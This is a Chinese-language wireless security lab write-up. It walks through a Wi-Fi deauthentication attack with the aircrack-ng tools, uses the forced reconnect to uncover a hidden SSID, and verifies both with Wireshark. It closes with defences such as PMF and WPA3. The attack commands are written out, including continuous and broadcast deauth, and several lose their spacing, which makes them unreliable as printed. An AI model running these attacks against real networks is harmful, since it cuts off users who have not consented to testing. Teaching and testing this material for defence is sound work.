无线安全实战:Deauthentication 攻击与隐藏 SSID 发现
前言
Deauthentication(解除认证)攻击是 802.11 协议中一个经典的安全缺陷:管理帧缺乏身份验证,攻击者可以伪造 AP 或客户端发送 Deauth 帧,强制设备断开连接。另一个常见误区是“隐藏 SSID 能提高安全性”,实际上只要客户端重连,真实 SSID 就会在 Probe Response 等帧中暴露。
本文记录一次完整的测试过程:使用 Kali Linux 和 Ralink RT2870/RT3070 无线网卡,先发起 Deauth 攻击并用 Wireshark 分析流量,再通过 Deauth 触发重连来发现隐藏 SSID。
测试环境
- 操作系统:Kali Linux 2025.2
- 无线网卡:Ralink Technology RT2870/RT3070(USB 2.0,支持监听模式)
- 测试 AP:手机热点(2.4GHz)
- 测试客户端:一台授权测试的手机
一、Deauthentication 攻击
1. 扫描目标
开启监听模式:
sudoairmon-ng start wlan0以 channel hopping 模式扫描,获取目标 AP 的 BSSID、信道以及客户端的 MAC:
sudoairodump-ng wlan0mon假设扫描结果如下:
- 目标 AP BSSID:
AA:BB:CC:11:22:33 - 信道:1
- 客户端 MAC:
DE:AD:BE:EF:00:01
将网卡锁定到目标信道:
sudoairmon-ng start wlan0mon12. 发起 Deauth 攻击
使用aireplay-ng发送无限数量的 Deauth 帧:
aireplay-ng--deauth0-aAA:BB:CC:11:22:33-cDE:AD:BE:EF:00:01 wlan0mon参数说明:
--deauth 0:持续发送 Deauth 帧-a:目标 AP 的 BSSID-c:目标客户端的 MAC- 如果不加
-c,则广播 Deauth,所有关联该 AP 的客户端都会断开
3. 抓包并分析
另开一个终端,指定信道抓包:
sudoairodump-ng wlan0mon--channel1-wsaved--beacons用 Wireshark 打开saved-01.cap,过滤所有 Deauthentication 帧:
wlan.fc.type_subtype == 0x0cDeauthentication 帧属于管理帧,Type=0,Subtype=12(0x0c)。
进一步过滤出目标 AP 和客户端之间的 Deauth 帧:
wlan.bssid == AA:BB:CC:11:22:33 && wlan.da == DE:AD:BE:EF:00:01在报文详情中可以看到 Frame Control 字段:
- Type:0(管理帧)
- Subtype:12(Deauthentication)
二、发现隐藏 SSID
1. 隐藏 SSID 的原理
隐藏 SSID 的 AP 在 Beacon 帧中不携带 SSID 字段(或长度为 0),但这并不意味着 SSID 无法被发现。当客户端发起 Probe Request 或重连时,AP 会在 Probe Response、Association Response 等帧中返回真实 SSID。
2. 扫描隐藏 AP
开启监听模式并扫描:
sudoairodump-ng wlan0mon假设发现一个隐藏 AP:
- BSSID:
12:34:56:78:9A:BC - 信道:11
- ESSID 显示为
<length: 0>
指定信道抓包:
sudoairodump-ng wlan0mon--channel11-wsaved--beacons3. 发送 Deauth 触发重连
向该 AP 发送一个 Deauth 广播包:
aireplay-ng--deauth1-a12:34:56:78:9A:BC wlan0mon等待客户端重连,观察airodump-ng的输出,ESSID 字段会从<length: 0>变为真实 SSID(假设为Hidden-Net)。
4. Wireshark 验证
过滤该 AP 发出的所有 Beacon 帧:
wlan.fc.type_subtype == 0x08 && wlan.bssid == 12:34:56:78:9A:BC可以看到 SSID 字段为空。
再过滤 Probe Response 帧:
wlan.bssid == 12:34:56:78:9A:BC && wlan.fc.type_subtype == 0x05在报文详情中可以看到 SSID 字段为Hidden-Net,说明隐藏 SSID 已被发现。
三、总结与防御建议
- Deauthentication 攻击利用的是管理帧未加密、未认证的设计缺陷。攻击者可以轻易伪造 Deauth 帧,强制客户端掉线。
- 隐藏 SSID 不是有效的安全措施。只要客户端重连,真实 SSID 就会在 Probe Response 等帧中暴露。
- 防御建议:
- 启用 802.11w(管理帧保护,PMF),对 Deauth 等管理帧进行加密认证。
- 使用 WPA3,其强制要求 PMF,能有效缓解 Deauth 攻击。
- 不要依赖隐藏 SSID 来提升安全性。